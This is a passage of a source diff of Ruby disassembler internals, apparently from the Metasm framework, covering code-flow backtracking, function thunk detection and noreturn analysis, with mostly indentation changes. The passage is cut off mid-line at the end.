@decoded[di_addr] = di + block.add_di di + puts di if $DEBUG + + di = @callback_newinstr[di] if callback_newinstr + return ret if not di + + di_addr = di.next_addr + + if di.opcode.props[:stopexec] or di.opcode.props[:setip] + if di.opcode.props[:setip] + @addrs_todo = [] + @program.get_xrefs_x(self, di).each { |expr| + backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast) + } + end + if di.opcode.props[:saveip] + @addrs_todo = [] + ret.concat disassemble_fast_block_subfunc(di, &b) + else + ret.concat @addrs_todo + @addrs_todo = [] + end + delay_slot ||= [di, @cpu.delay_slot(di)] + end + + if delay_slot + if delay_slot[1] <= 0 + return ret if delay_slot[0].opcode.props[:stopexec] + break + end + delay_slot[1] -= 1 + end + } + + di.block.add_to_normal(di_addr) + ret << [di_addr, di.address] + end + + # handles when disassemble_fast encounters a call to a subfunction + def disassemble_fast_block_subfunc(di) + funcs = di.block.to_normal.to_a + do_ret = funcs.empty? + ret = [] + na = di.next_addr + di.bin_length * @cpu.delay_slot(di) + funcs.each { |fa| + fa = normalize(fa) + disassemble_fast_checkfunc(fa) + yield fa, di if block_given? + if f = @function[fa] and bf = f.get_backtracked_for(self, fa, di.address) and not bf.empty? + # this includes retaddr unless f is noreturn + bf.each { |btt| + next if btt.type != :x + bt = backtrace(btt.expr, di.address, :include_start => true, :origin => btt.origin, :maxdepth => [@backtrace_maxblocks_fast, 1].max) + if btt.detached + ret.concat bt # callback argument + elsif bt.find { |a| normalize(a) == na } + do_ret = true + end + } + elsif not f or not f.noreturn + do_ret = true + end + } + if do_ret + di.block.add_to_subfuncret(na) + ret << [na, di.address, true] + di.block.add_to_normal :default if not di.block.to_normal and @function[:default] + end + ret + end + + # trace whose xrefs this di is responsible of + def backtrace_xrefs_di_rw(di) + get_xrefs_rw(di).each { |type, ptr, len| + backtrace(ptr, di.address, :origin => di.address, :type => type, :len => len).each { |xaddr| + next if xaddr == Expression::Unknown + if @check_smc and type == :w + #len.times { |off| # check unaligned ? + waddr = xaddr #+ off + if wdi = di_at(waddr) + puts "W: disasm: #{di} overwrites #{wdi}" if $VERBOSE + wdi.add_comment "overwritten by #{di}" + end + #} + end + } + } + end + + # trace xrefs for execution + def backtrace_xrefs_di_x(di) + ar = @program.get_xrefs_x(self, di) + ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr + ar.each { |expr| backtrace(expr, di.address, :origin => di.address, :type => :x) } + end + + # checks if the function starting at funcaddr is an external function thunk (eg jmp [SomeExtFunc]) + # the argument must be the address of a decodedinstruction that is the first of a function, + # which must not have return_addresses + # returns the new thunk name if it was changed + def detect_function_thunk(funcaddr) + # check thunk linearity (no conditionnal branch etc) + addr = funcaddr + count = 0 + while b = block_at(addr) + count += 1 + return if count > 5 or b.list.length > 4 + if b.to_subfuncret and not b.to_subfuncret.empty? + return if b.to_subfuncret.length != 1 + addr = normalize(b.to_subfuncret.first) + return if not b.to_normal or b.to_normal.length != 1 + # check that the subfunction is simple (eg get_eip) + return if not sf = @function[normalize(b.to_normal.first)] + return if not btb = sf.backtrace_binding + btb = btb.dup + btb.delete_if { |k, v| Expression[k] == Expression[v] } + return if btb.length > 2 or btb.values.include? Expression::Unknown + else + return if not bt = b.to_normal + if bt.include? :default + addr = :default + break + elsif bt.length != 1 + return + end + addr = normalize(bt.first) + end + end + fname = Expression[addr].reduce_rec + if funcaddr != addr and f = @function[funcaddr] + # forward get_backtrace_binding to target + f.backtrace_binding = { :thunk => addr } + f.noreturn = true if @function[addr] and @function[addr].noreturn + end + return if not fname.kind_of? ::String + l = auto_label_at(funcaddr, 'sub', 'loc') + return if l[0, 4] != 'sub_' + puts "found thunk for #{fname} at #{Expression[funcaddr]}" if $DEBUG + rename_label(l, @program.new_label("thunk_#{fname}")) + end + + # this is called when reaching a noreturn function call, with the call address + # it is responsible for detecting the actual 'call' instruction leading to this + # noreturn function, and eventually mark the call target as a thunk + def detect_function_thunk_noreturn(addr) + 5.times { + return if not di = di_at(addr) + if di.opcode.props[:saveip] and not di.block.to_subfuncret + if di.block.to_normal.to_a.length == 1 + taddr = normalize(di.block.to_normal.first) + if di_at(taddr) + @function[taddr] ||= DecodedFunction.new + return detect_function_thunk(taddr) + end + end + break + else + from = di.block.from_normal.to_a + di.block.from_subfuncret.to_a + if from.length == 1 + addr = from.first + else break + end + end + } + end + + # given an address, detect if it may be a noreturn fuction + # it is if all its end blocks are calls to noreturn functions + # if it is, create a @function[fa] with noreturn = true + # should only be called with fa = target of a call + def check_noreturn_function(fa) + fb = function_blocks(fa, false, false) + lasts = fb.keys.find_all { |k| fb[k] == [] } + return if lasts.empty? + if lasts.all? { |la| + b = block_at(la) + next if not di = b.list.last + (di.opcode.props[:saveip] and b.to_normal.to_a.all? { |tfa| + tf = function_at(tfa) and tf.noreturn + }) or (di.opcode.props[:stopexec] and not di.opcode.props[:setip]) + } + # yay + @function[fa] ||= DecodedFunction.new + @function[fa].noreturn = true + end + end + + + # walks the backtrace tree from an address, passing along an object + # + # the steps are (1st = event, followed by hash keys) + # + # for each decoded instruction encountered: + # :di :di + # + # when backtracking to a block through a decodedfunction: + # (yield for each of the block's subfunctions) + # (the decodedinstruction responsible for the call will be yield next) + # :func :func, :funcaddr, :addr, :depth + # + # when jumping from one block to another (excluding :loop): # XXX include :loops ? + # :up :from, :to, :sfret + # + # when the backtrack has nothing to backtrack to (eg program entrypoint): + # :end :addr + # + # when the backtrack stops by taking too long to complete: + # :maxdepth :addr + # + # when the backtrack stops for encountering the specified stop address: + # :stopaddr :addr + # + # when rebacktracking a block already seen in the current branch: + # (looptrace is an array of [obj, block end addr, from_subfuncret], from oldest to newest) + # :loop :looptrace + # + # when the address does not match a known instruction/function: + # :unknown_addr :addr + # + # the block return value is used as follow for :di, :func, :up and :loop: + # false => the backtrace stops for the branch + # nil => the backtrace continues with the current object + # anything else => the backtrace continues with this object + # + # method arguments: + # obj is the initial value of the object + # addr is the address where the backtrace starts + # include_start is a bool specifying if the backtrace should start at addr or just before + # from_subfuncret is a bool specifying if addr points to a decodedinstruction that calls a subfunction + # stopaddr is an [array of] address of instruction, the backtrace will stop just after executing it + # maxdepth is the maximum depth (in blocks) for each backtrace branch. + # (defaults to dasm.backtrace_maxblocks, which defaults do Dasm.backtrace_maxblocks) + def backtrace_walk(obj, addr, include_start, from_subfuncret, stopaddr, maxdepth) + start_addr = normalize(addr) + stopaddr = [stopaddr] if stopaddr and not stopaddr.kind_of? ::Array + + # array of [obj, addr, from_subfuncret, loopdetect] + # loopdetect is an array of [obj, addr, from_type] of each end of block encountered + todo = [] + + # array of [obj, blockaddr] + # avoids rewalking the same value + done = [] + + # updates todo with the addresses to backtrace next + walk_up = lambda { |w_obj, w_addr, w_loopdetect| + if w_loopdetect.length > maxdepth + yield :maxdepth, w_obj, :addr => w_addr, :loopdetect => w_loopdetect + elsif stopaddr and stopaddr.include?(w_addr) + yield :stopaddr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect + elsif w_di = @decoded[w_addr] and w_di != w_di.block.list.first and w_di.address != w_di.block.address + prevdi = w_di.block.list[w_di.block.list.index(w_di)-1] + todo << [w_obj, prevdi.address, :normal, w_loopdetect] + elsif w_di + next if done.include? [w_obj, w_addr] + done << [w_obj, w_addr] + hadsomething = false + w_di.block.each_from { |f_addr, f_type| + next if f_type == :indirect + hadsomething = true + o_f_addr = f_addr + f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot + if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == f_addr and l_type == f_type } + f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) + if f_obj and f_obj != w_obj # should avoid infinite loops + f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] + end + else + f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => f_type, :loopdetect => w_loopdetect, :real_to => o_f_addr) + end + next if f_obj == false + f_obj ||= w_obj + f_loopdetect ||= w_loopdetect + # only count non-trivial paths in loopdetect (ignore linear links) + add_detect = [[f_obj, f_addr, f_type]] + add_detect = [] if @decoded[f_addr].kind_of? DecodedInstruction and tmp = @decoded[f_addr].block and + ((w_di.block.from_subfuncret.to_a == [] and w_di.block.from_normal == [f_addr] and + tmp.to_normal == [w_di.address] and tmp.to_subfuncret.to_a == []) or + (w_di.block.from_subfuncret == [f_addr] and tmp.to_subfuncret == [w_di.address])) + todo << [f_obj, f_addr, f_type, f_loopdetect + add_detect ] + } + yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if not hadsomething + elsif @function[w_addr] and w_addr != :default and w_addr != Expression::Unknown + next if done.include? [w_obj, w_addr] + oldlen = todo.length + each_xref(w_addr, :x) { |x| + f_addr = x.origin + o_f_addr = f_addr + f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot + if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == w_addr } + f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) + if f_obj and f_obj != w_obj + f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] + end + else + f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => :normal, :loopdetect => w_loopdetect, :real_to => o_f_addr) + end + next if f_obj == false + f_obj ||= w_obj + f_loopdetect ||= w_loopdetect + todo << [f_obj, f_addr, :normal, f_loopdetect + [[f_obj, f_addr, :normal]] ] + } + yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if todo.length == oldlen + else + yield :unknown_addr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect + end + } + + if include_start + todo << [obj, start_addr, from_subfuncret ? :subfuncret : :normal, []] + else + walk_up[obj, start_addr, []] + end + + while not todo.empty? + obj, addr, type, loopdetect = todo.pop + di = @decoded[addr] + if di and type == :subfuncret + di.block.each_to_normal { |sf| + next if not f = @function[normalize(sf)] + s_obj = yield(:func, obj, :func => f, :funcaddr => sf, :addr => addr, :loopdetect => loopdetect) + next if s_obj == false + s_obj ||= obj + if l = loopdetect.find { |l_obj, l_addr, l_type| addr == l_addr and l_type == :normal } + l_obj = yield(:loop, s_obj, :looptrace => loopdetect[loopdetect.index(l)..-1], :loopdetect => loopdetect) + if l_obj and l_obj != s_obj + s_loopdetect = loopdetect[0...loopdetect.index(l)] + end + next if l_obj == false + s_obj = l_obj if l_obj + end + s_loopdetect ||= loopdetect + todo << [s_obj, addr, :normal, s_loopdetect + [[s_obj, addr, :normal]] ] + } + elsif di + # XXX should interpolate index if di is not in block.list, but what if the addresses are not Comparable ? + di.block.list[0..(di.block.list.index(di) || -1)].reverse_each { |di_| + di = di_ # XXX not sure.. + if stopaddr and ea = di.next_addr and stopaddr.include?(ea) + yield :stopaddr, obj, :addr => ea, :loopdetect => loopdetect + break + end + ex_obj = obj + obj = yield(:di, obj, :di => di, :loopdetect => loopdetect) + break if obj == false + obj ||= ex_obj + } + walk_up[obj, di.block.address, loopdetect] if obj + elsif @function[addr] and addr != :default and addr != Expression::Unknown + ex_obj = obj + obj = yield(:func, obj, :func => @function[addr], :funcaddr => addr, :addr => addr, :loopdetect => loopdetect) + next if obj == false + obj ||= ex_obj + walk_up[obj, addr, loopdetect] + else + yield :unknown_addr, obj, :addr => addr, :loopdetect => loopdetect + end + end + end + + # holds a backtrace result until a snapshot_addr is encountered + class StoppedExpr + attr_accessor :exprs + def initialize(e) @exprs = e end + end + + + attr_accessor :debug_backtrace + + # backtraces the value of an expression from start_addr + # updates blocks backtracked_for if type is set + # uses backtrace_walk + # all values returned are from backtrace_check_found (which may generate xrefs, labels, addrs to dasm) unless :no_check is specified + # options: + # :include_start => start backtracking including start_addr + # :from_subfuncret => + # :origin => origin to set for xrefs when resolution is successful + # :orig_expr => initial expression + # :type => xref type (:r, :w, :x, :addr) when :x, the results are added to #addrs_todo + # :len => xref len (for :r/:w) + # :snapshot_addr => addr (or array of) where the backtracker should stop + # if a snapshot_addr is given, values found are ignored if continuing the backtrace does not get to it (eg maxdepth/unk_addr/end) + # :maxdepth => maximum number of blocks to backtrace + # :detached => true if backtracking type :x and the result should not have from = origin set in @addrs_todo + # :max_complexity{_data} => maximum complexity of the expression before aborting its backtrace + # :log => Array, will be updated with the backtrace evolution + # :only_upto => backtrace only to update bt_for for current block & previous ending at only_upto + # :no_check => don't use backtrace_check_found (will not backtrace indirection static values) + # :terminals => array of symbols with constant value (stop backtracking if all symbols in the expr are terminals) (only supported with no_check) + def backtrace(expr, start_addr, nargs={}) + include_start = nargs.delete :include_start + from_subfuncret = nargs.delete :from_subfuncret + origin = nargs.delete :origin + origexpr = nargs.delete :orig_expr + type = nargs.delete :type + len = nargs.delete :len + snapshot_addr = nargs.delete(:snapshot_addr) || nargs.delete(:stopaddr) + maxdepth = nargs.delete(:maxdepth) || @backtrace_maxblocks + detached = nargs.delete :detached + max_complexity = nargs.delete(:max_complexity) || @backtrace_maxcomplexity + max_complexity_data = nargs.delete(:max_complexity) || @backtrace_maxcomplexity_data + bt_log = nargs.delete :log # array to receive the ongoing backtrace info + only_upto = nargs.delete :only_upto + no_check = nargs.delete :no_check + terminals = nargs.delete(:terminals) || [] + raise ArgumentError, "invalid argument to backtrace #{nargs.keys.inspect}" if not nargs.empty? + + expr = Expression[expr] + + origexpr = expr if origin == start_addr + + start_addr = normalize(start_addr) + di = @decoded[start_addr] + + if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) puts " not backtracking stack address #{expr}" if debug_backtrace - return [] - end - - if type == :r or type == :w - max_complexity = max_complexity_data - maxdepth = @backtrace_maxblocks_data if backtrace_maxblocks_data and maxdepth > @backtrace_maxblocks_data - end - - if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - di, origin, type, len, maxdepth, detached)) - # no need to update backtracked_for - return vals - elsif maxdepth <= 0 - return [Expression::Unknown] - end - - # create initial backtracked_for - if type and origin == start_addr and di - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-1) - btt.address = di.address - btt.exclude_instr = true if not include_start - btt.from_subfuncret = true if from_subfuncret and include_start - btt.detached = true if detached - di.block.backtracked_for |= [btt] - end - - @callback_prebacktrace[] if callback_prebacktrace - - # list of Expression/Integer - result = [] + return [] + end + + if type == :r or type == :w + max_complexity = max_complexity_data + maxdepth = @backtrace_maxblocks_data if backtrace_maxblocks_data and maxdepth > @backtrace_maxblocks_data + end + + if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, + di, origin, type, len, maxdepth, detached)) + # no need to update backtracked_for + return vals + elsif maxdepth <= 0 + return [Expression::Unknown] + end + + # create initial backtracked_for + if type and origin == start_addr and di + btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-1) + btt.address = di.address + btt.exclude_instr = true if not include_start + btt.from_subfuncret = true if from_subfuncret and include_start + btt.detached = true if detached + di.block.backtracked_for |= [btt] + end + + @callback_prebacktrace[] if callback_prebacktrace + + # list of Expression/Integer + result = [] puts "backtracking #{type} #{expr} from #{di || Expression[start_addr || 0]} for #{@decoded[origin]}" if debug_backtrace or $DEBUG - bt_log << [:start, expr, start_addr] if bt_log - backtrace_walk(expr, start_addr, include_start, from_subfuncret, snapshot_addr, maxdepth) { |ev, expr_, h| - expr = expr_ - case ev - when :unknown_addr, :maxdepth + bt_log << [:start, expr, start_addr] if bt_log + backtrace_walk(expr, start_addr, include_start, from_subfuncret, snapshot_addr, maxdepth) { |ev, expr_, h| + expr = expr_ + case ev + when :unknown_addr, :maxdepth puts " backtrace end #{ev} #{expr}" if debug_backtrace - result |= [expr] if not snapshot_addr - @addrs_todo << [expr, (detached ? nil : origin)] if not snapshot_addr and type == :x and origin - when :end - if not expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:addr], expr) + result |= [expr] if not snapshot_addr + @addrs_todo << [expr, (detached ? nil : origin)] if not snapshot_addr and type == :x and origin + when :end + if not expr.kind_of? StoppedExpr + oldexpr = expr + expr = backtrace_emu_blockup(h[:addr], expr) puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr - if expr != oldexpr and not snapshot_addr and vals = (no_check ? - (!need_backtrace(expr, terminals) and [expr]) : - backtrace_check_found(expr, nil, origin, type, len, - maxdepth-h[:loopdetect].length, detached)) - result |= vals - next - end - end + bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr + if expr != oldexpr and not snapshot_addr and vals = (no_check ? + (!need_backtrace(expr, terminals) and [expr]) : + backtrace_check_found(expr, nil, origin, type, len, + maxdepth-h[:loopdetect].length, detached)) + result |= vals + next + end + end puts " backtrace end #{ev} #{expr}" if debug_backtrace - if not snapshot_addr - result |= [expr] - - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) - btt.detached = true if detached - @decoded[h[:addr]].block.backtracked_for |= [btt] if @decoded[h[:addr]] - @function[h[:addr]].backtracked_for |= [btt] if @function[h[:addr]] and h[:addr] != :default - @addrs_todo << [expr, (detached ? nil : origin)] if type == :x and origin - end - when :stopaddr - if not expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:addr], expr) + if not snapshot_addr + result |= [expr] + + btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) + btt.detached = true if detached + @decoded[h[:addr]].block.backtracked_for |= [btt] if @decoded[h[:addr]] + @function[h[:addr]].backtracked_for |= [btt] if @function[h[:addr]] and h[:addr] != :default + @addrs_todo << [expr, (detached ? nil : origin)] if type == :x and origin + end + when :stopaddr + if not expr.kind_of? StoppedExpr + oldexpr = expr + expr = backtrace_emu_blockup(h[:addr], expr) puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr - end + bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr + end puts " backtrace end #{ev} #{expr}" if debug_backtrace - result |= ((expr.kind_of?(StoppedExpr)) ? expr.exprs : [expr]) - when :loop - next false if expr.kind_of? StoppedExpr - t = h[:looptrace] - oldexpr = t[0][0] - next false if expr == oldexpr # unmodifying loop + result |= ((expr.kind_of?(StoppedExpr)) ? expr.exprs : [expr]) + when :loop + next false if expr.kind_of? StoppedExpr + t = h[:looptrace] + oldexpr = t[0][0] + next false if expr == oldexpr # unmodifying loop puts " bt loop at #{Expression[t[0][1]]}: #{oldexpr} => #{expr} (#{t.map { |z| Expression[z[1]] }.join(' <- ')})" if debug_backtrace - false - when :up - next false if only_upto and h[:to] != only_upto - next expr if expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:from], expr) + false + when :up + next false if only_upto and h[:to] != only_upto + next expr if expr.kind_of? StoppedExpr + oldexpr = expr + expr = backtrace_emu_blockup(h[:from], expr) puts " backtrace up #{Expression[h[:from]]}->#{Expression[h[:to]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:from], h[:to]] if bt_log - - if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : - backtrace_check_found(expr, @decoded[h[:from]], origin, type, len, - maxdepth-h[:loopdetect].length, detached)) - if snapshot_addr - expr = StoppedExpr.new vals - next expr - else - result |= vals - bt_log << [:found, vals, h[:from]] if bt_log - next false - end - end - - if origin and type - # update backtracked_for - update_btf = lambda { |btf, new_btt| - # returns true if btf was modified - if i = btf.index(new_btt) - btf[i] = new_btt if btf[i].maxdepth < new_btt.maxdepth - else - btf << new_btt - end - } - - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) - btt.detached = true if detached - if x = di_at(h[:from]) - update_btf[x.block.backtracked_for, btt] - end - if x = @function[h[:from]] and h[:from] != :default - update_btf[x.backtracked_for, btt] - end - if x = di_at(h[:to]) - btt = btt.dup - btt.address = x.address - btt.from_subfuncret = true if h[:sfret] == :subfuncret - if backtrace_check_funcret(btt, h[:from], h[:real_to] || h[:to]) + bt_log << [:up, expr, oldexpr, h[:from], h[:to]] if bt_log + + if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : + backtrace_check_found(expr, @decoded[h[:from]], origin, type, len, + maxdepth-h[:loopdetect].length, detached)) + if snapshot_addr + expr = StoppedExpr.new vals + next expr + else + result |= vals + bt_log << [:found, vals, h[:from]] if bt_log + next false + end + end + + if origin and type + # update backtracked_for + update_btf = lambda { |btf, new_btt| + # returns true if btf was modified + if i = btf.index(new_btt) + btf[i] = new_btt if btf[i].maxdepth < new_btt.maxdepth + else + btf << new_btt + end + } + + btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) + btt.detached = true if detached + if x = di_at(h[:from]) + update_btf[x.block.backtracked_for, btt] + end + if x = @function[h[:from]] and h[:from] != :default + update_btf[x.backtracked_for, btt] + end + if x = di_at(h[:to]) + btt = btt.dup + btt.address = x.address + btt.from_subfuncret = true if h[:sfret] == :subfuncret + if backtrace_check_funcret(btt, h[:from], h[:real_to] || h[:to]) puts " function returns to caller" if debug_backtrace - next false - end - if not update_btf[x.block.backtracked_for, btt] + next false + end + if not update_btf[x.block.backtracked_for, btt] puts " already backtraced" if debug_backtrace - next false - end - end - end - expr - when :di, :func - next if expr.kind_of? StoppedExpr - if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) + next false + end + end + end + expr + when :di, :func + next if expr.kind_of? StoppedExpr + if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) puts " not backtracking stack address #{expr}" if debug_backtrace - next false - end + next false + end oldexpr = expr - case ev - when :di - h[:addr] = h[:di].address - expr = backtrace_emu_instr(h[:di], expr) - bt_log << [ev, expr, oldexpr, h[:di], h[:addr]] if bt_log and expr != oldexpr - when :func - expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length) - if snapshot_addr and snapshot_addr == h[:funcaddr] - # XXX recursiveness detection needs to be fixed + case ev + when :di + h[:addr] = h[:di].address + expr = backtrace_emu_instr(h[:di], expr) + bt_log << [ev, expr, oldexpr, h[:di], h[:addr]] if bt_log and expr != oldexpr + when :func + expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length) + if snapshot_addr and snapshot_addr == h[:funcaddr] + # XXX recursiveness detection needs to be fixed puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_backtrace - next false - end - bt_log << [ev, expr, oldexpr, h[:funcaddr], h[:addr]] if bt_log and expr != oldexpr - end + next false + end + bt_log << [ev, expr, oldexpr, h[:funcaddr], h[:addr]] if bt_log and expr != oldexpr + end puts " backtrace #{h[:di] || Expression[h[:funcaddr]]} #{oldexpr} => #{expr}" if debug_backtrace and expr != oldexpr - if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached)) - if snapshot_addr - expr = StoppedExpr.new vals - else - result |= vals - bt_log << [:found, vals, h[:addr]] if bt_log - next false - end - elsif expr.complexity > max_complexity + if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, + h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached)) + if snapshot_addr + expr = StoppedExpr.new vals + else + result |= vals + bt_log << [:found, vals, h[:addr]] if bt_log + next false + end + elsif expr.complexity > max_complexity puts " backtrace aborting, expr too complex" if debug_backtrace - next false - end - expr - else raise ev.inspect - end - } + next false + end + expr + else raise ev.inspect + end + } puts ' backtrace result: ' + result.map { |r| Expression[r] }.join(', ') if debug_backtrace - result - end - - # checks if the BacktraceTrace is a call to a known subfunction - # returns true and updates self.addrs_todo - def backtrace_check_funcret(btt, funcaddr, instraddr) - if di = @decoded[instraddr] and @function[funcaddr] and btt.type == :x and - not btt.from_subfuncret and - @cpu.backtrace_is_function_return(btt.expr, @decoded[btt.origin]) and - retaddr = backtrace_emu_instr(di, btt.expr) and - not need_backtrace(retaddr) + result + end + + # checks if the BacktraceTrace is a call to a known subfunction + # returns true and updates self.addrs_todo + def backtrace_check_funcret(btt, funcaddr, instraddr) + if di = @decoded[instraddr] and @function[funcaddr] and btt.type == :x and + not btt.from_subfuncret and + @cpu.backtrace_is_function_return(btt.expr, @decoded[btt.origin]) and + retaddr = backtrace_emu_instr(di, btt.expr) and + not need_backtrace(retaddr) puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if debug_backtrace - di.block.add_to_subfuncret normalize(retaddr) - if @decoded[funcaddr].kind_of? DecodedInstruction - # check that all callers :saveip returns (eg recursive call that was resolved - # before we found funcaddr was a function) - @decoded[funcaddr].block.each_from_normal { |fm| - if fdi = di_at(fm) and fdi.opcode.props[:saveip] and not fdi.block.to_subfuncret - backtrace_check_funcret(btt, funcaddr, fm) - end - } - end - if not @function[funcaddr].finalized - # the function is not fully disassembled: arrange for the retaddr to be - # disassembled only after the subfunction is finished - # for that we walk the code from the call, mark each block start, and insert the sfret - # just before the 1st function block address in @addrs_todo (which is pop()ed by dasm_step) - faddrlist = [] - todo = [] - di.block.each_to_normal { |t| todo << normalize(t) } - while a = todo.pop - next if faddrlist.include? a or not get_section_at(a) - faddrlist << a - if @decoded[a].kind_of? DecodedInstruction - @decoded[a].block.each_to_samefunc(self) { |t| todo << normalize(t) } - end - end - - idx = @addrs_todo.index(@addrs_todo.find { |r, i, sfr| faddrlist.include? normalize(r) }) || -1 - @addrs_todo.insert(idx, [retaddr, instraddr, true]) - else - @addrs_todo << [retaddr, instraddr, true] - end - true - end - end - - # applies one decodedinstruction to an expression - def backtrace_emu_instr(di, expr) - @cpu.backtrace_emu(di, expr) - end - - # applies one subfunction to an expression - def backtrace_emu_subfunc(func, funcaddr, calladdr, expr, origin, maxdepth) - bind = func.get_backtrace_binding(self, funcaddr, calladdr, expr, origin, maxdepth) - Expression[expr.bind(bind).reduce] - end - - # applies a location binding - def backtrace_emu_blockup(addr, expr) - (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr - end - - # static resolution of indirections - def resolve(expr) - binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind| - e, b = get_section_at(resolve(ind.target)) - return expr if not e - binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ] - } - Expression[expr].bind(binding).reduce - end - - # returns true if the expression needs more backtrace - # it checks for the presence of a symbol (not :unknown), which means it depends on some register value - def need_backtrace(expr, terminals=[]) - return if expr.kind_of? ::Integer - !(expr.externals.grep(::Symbol) - [:unknown] - terminals).empty? - end - - # returns an array of expressions, or nil if expr needs more backtrace - # it needs more backtrace if expr.externals include a Symbol != :unknown (symbol == register value) - # if it need no more backtrace, expr's indirections are recursively resolved - # xrefs are created, and di args are updated (immediate => label) - # if type is :x, addrs_todo is updated, and if di starts a block, expr is checked to see if it may be a subfunction return value - # - # expr indirection are solved by first finding the value of the pointer, and then rebacktracking for write-type access - # detached is true if type is :x and from should not be set in addrs_todo (indirect call flow, eg external function callback) - # if the backtrace ends pre entrypoint, returns the value encoded in the raw binary - # XXX global variable (modified by another function), exported data, multithreaded app.. - # TODO handle memory aliasing (mov ebx, eax ; write [ebx] ; read [eax]) - # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names - # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX - # eg. mov eax, 42 ; add eax, 4 ; jmp eax => mov eax, some_label-4 - def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached) - # only entrypoints or block starts called by a :saveip are checked for being a function - # want to execute [esp] from a block start - if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and ( - # which is an entrypoint.. - (not di.block.from_normal and not di.block.from_subfuncret) or - # ..or called from a saveip - (bool = false ; di.block.each_from_normal { |fn| bool = true if @decoded[fn] and @decoded[fn].opcode.props[:saveip] } ; bool)) - - # now we can mark the current address a function start - # the actual return address will be found later (we tell the caller to continue the backtrace) - addr = di.address - l = auto_label_at(addr, 'sub', 'loc', 'xref') - if not f = @function[addr] - f = @function[addr] = DecodedFunction.new - puts "found new function #{l} at #{Expression[addr]}" if $VERBOSE - end - f.finalized = false - - if @decoded[origin] - f.return_address ||= [] - f.return_address |= [origin] - @decoded[origin].add_comment "endsub #{l}" - # TODO add_xref (to update the comment on rename_label) - end - - f.backtracked_for |= @decoded[addr].block.backtracked_for.find_all { |btt| not btt.address } - end - - return if need_backtrace(expr) + di.block.add_to_subfuncret normalize(retaddr) + if @decoded[funcaddr].kind_of? DecodedInstruction + # check that all callers :saveip returns (eg recursive call that was resolved + # before we found funcaddr was a function) + @decoded[funcaddr].block.each_from_normal { |fm| + if fdi = di_at(fm) and fdi.opcode.props[:saveip] and not fdi.block.to_subfuncret + backtrace_check_funcret(btt, funcaddr, fm) + end + } + end + if not @function[funcaddr].finalized + # the function is not fully disassembled: arrange for the retaddr to be + # disassembled only after the subfunction is finished + # for that we walk the code from the call, mark each block start, and insert the sfret + # just before the 1st function block address in @addrs_todo (which is pop()ed by dasm_step) + faddrlist = [] + todo = [] + di.block.each_to_normal { |t| todo << normalize(t) } + while a = todo.pop + next if faddrlist.include? a or not get_section_at(a) + faddrlist << a + if @decoded[a].kind_of? 